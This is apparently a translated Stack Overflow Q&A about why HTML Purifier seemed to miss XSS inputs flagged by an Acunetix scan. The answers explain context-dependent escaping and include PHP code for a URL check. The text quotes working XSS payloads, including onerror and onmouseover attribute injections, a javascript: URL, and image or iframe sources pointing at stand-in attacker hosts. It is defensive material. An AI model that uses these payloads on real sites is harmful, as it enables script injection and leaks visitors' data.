即使在使用HTML Purifier之后,XSS漏洞仍然存在

时间:2017-11-15 20:59:54

标签: php security xss code-injection htmlpurifier

我正在使用Acunetix测试我的一个网络应用程序。为了保护这个项目免受XSS攻击,我使用了HTML Purifier。大多数PHP开发人员为此目的推荐使用此库,但我的扫描结果显示HTML Purifier无法完全保护我们免受XSS攻击。扫描仪通过发送不同的有害输入找到了两种攻击方式:

  1. 1<img sRc='http://attacker-9437/log.php?(请参阅HTML Purifier结果here
  2. 1"onmouseover=vVF3(9185)"(请参阅HTML Purifier结果here
  3. 正如您所看到的结果,HTML Purifier无法检测到此类攻击。我不知道HTML Purifier是否有任何特定的选项可以解决这些问题,或者它是否真的无法检测到这些XSS攻击方法。
    你有什么主意吗?还是其他任何解决方案?

2 个答案:

答案 0 :(得分:1)

<击> 从我给出的简短外观来看,所有HTML净化器似乎都在做HTML编码某些字符,例如<>等等。但是,还有其他方法可以在不使用普通HTML字符的情况下调用JS:

javascript:prompt(1)  // In image tags
src="http://evil.com/xss.html"  // In iFrame tags

<击>

请在下面查看评论(@pinkgothic)。

以下几点:

  1. 这将是HTML注入,它有效地导致XSS。在这种情况下,您打开<img>标记,将src指向某个不存在的文件,这反过来会引发错误。然后,onerror处理程序可以处理它以运行一些JavaScript代码。采用以下示例:
  2. <img src=x onerror=alert(document.domain)>

    它的入口点通常伴随着过早关闭输入上的另一个标签。例如(为清晰起见,URL已解码):

    GET /products.php?type="><img src=x onerror=prompt(1)> HTTP/1.1
    

    然而,这可以通过HTML转义元字符轻松减轻(即<>)。

    1. 与上面相同,除了这可能是关闭HTML属性而不是标记并插入自己的属性。假设您有一个页面,您可以上传图像的URL:
    2. <img src="$USER_DEFINED">

      一个正常的例子是:

      <img src="http://example.com/img.jpg">

      但是,插入上述有效内容后,我们切断 src属性,该属性指向不存在的文件并注入onerror处理程序:

      <img src="1"onerror=alert(document.domain)">

      这执行上面提到的相同的有效载荷。

      修复

      这是在多个地方进行了大量记录和测试,因此我不会详细介绍。但是,以下两篇文章对这一主题非常了解,并将满足您的所有需求:

      1. https://www.acunetix.com/websitesecurity/cross-site-scripting/
      2. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

答案 1 :(得分:0)

(这是一个较晚的答案,因为该问题已成为重复问题链接到的地方,以前一些重要信息仅在注释中可用。)

HTML Purifier是一种上下文HTML清除器,这就是为什么它似乎在这些任务上失败的原因。

让我们详细了解原因:

1<img sRc='http://attacker-9437/log.php?

您会注意到,HTML Purifier 为您关闭了此标签,仅保留了图像注入。图像是一个完全有效且安全的标签(当然,当前图像库攻击除外)。如果您希望它完全丢弃图像,请考虑通过设置HTML.Allowed来调整HTML Purifier白名单。

示例中的图像现在正在加载属于攻击者的URL,从而为攻击者提供了加载页面的用户的IP(而没有其他任何东西),这是HTML Purifier并非旨在解决的棘手问题解决。也就是说,您可以编写一个HTML Purifier属性检查器,该检查器在纯化之后但在将HTML重新放回之前运行,如下所示:

// a bit of context
$htmlDef = $this->configuration->getHTMLDefinition(true);
$image   = $htmlDef->addBlankElement('img');

// HTMLPurifier_AttrTransform_CheckURL is a custom class you've supplied, 
// and checks the URL against a white- or blacklist:
$image->attr_transform_post[] = new HTMLPurifier_AttrTransform_CheckURL();

HTMLPurifier_AttrTransform_CheckURL类将需要具有以下结构:

class HTMLPurifier_AttrTransform_CheckURL extends HTMLPurifier_AttrTransform
{
    public function transform($attr, $config, $context) {
        $destination = $attr['src'];
        if (is_malicious($destination)) {
            // ^ is_malicious() is something you'd have to write
            $this->confiscateAttr($attr, 'src');
        }
        return $attr;
    }
}

当然,很难做到这一点:

  • 如果这是对某些Web服务的实时检查,则将提纯速度减慢到爬网状态
  • 如果要保留本地缓存,则可能会面临信息过期的风险
  • 如果您使用启发式算法(“基于指标x,y和z,该URL看起来可能是恶意的”),则可能会丢失全部恶意URL类。

1"onmouseover=vVF3(9185)"

HTML Purifier假定您设置HTML的上下文是<div>(除非您通过设置HTML.Parent来另外说明)。

如果仅向其提供属性值,它将假定您将其输出到某个地方,因此最终结果如下所示:

...
<div>1"onmouseover=vVF3(9185)"</div>
...

这就是为什么它似乎对此输入没有做任何事情-在这种情况下它是无害的。您甚至可能不想在这种情况下剥离此信息。我的意思是,我们在这里讨论的是stackoverflow上的这段代码,这很有价值(并且不会引起安全问题)。

上下文很重要。现在,如果您改为输入HTML Purifier的 this 片段:

<div class="1"onmouseover=vVF3(9185)"">foo</div>

...突然间您会看到what it's made to do

<div class="1">foo</div>

现在将其删除,因为在 this 上下文中,它本来是恶意的。

HTML Purifier的用途是什么

因此,您现在不知道要使用HTML Purifier做什么,以及什么时候使用它是错误的工具。这是一个简短的总结:

  • 如果要输出到HTML文档,并且对保留HTML完全不感兴趣,则应使用htmlspecialchars($input, ENT_QUOTES, 'utf-8')(或任何编码方式)-这是不必要的开销,并且让一些事情通过
  • 如果要输出到HTML文档并允许格式设置,例如,应使用HTML Purifier。如果您是留言板,并且希望人们能够使用HTML格式化他们的消息
  • 如果要输出到HTML 属性(HTML Purifier不是meant for this use-case),则应使用htmlspecialchars($input, ENT_QUOTES, 'utf-8')

您可以找到有关根据上下文in this question / answer进行清理/转义的更多信息。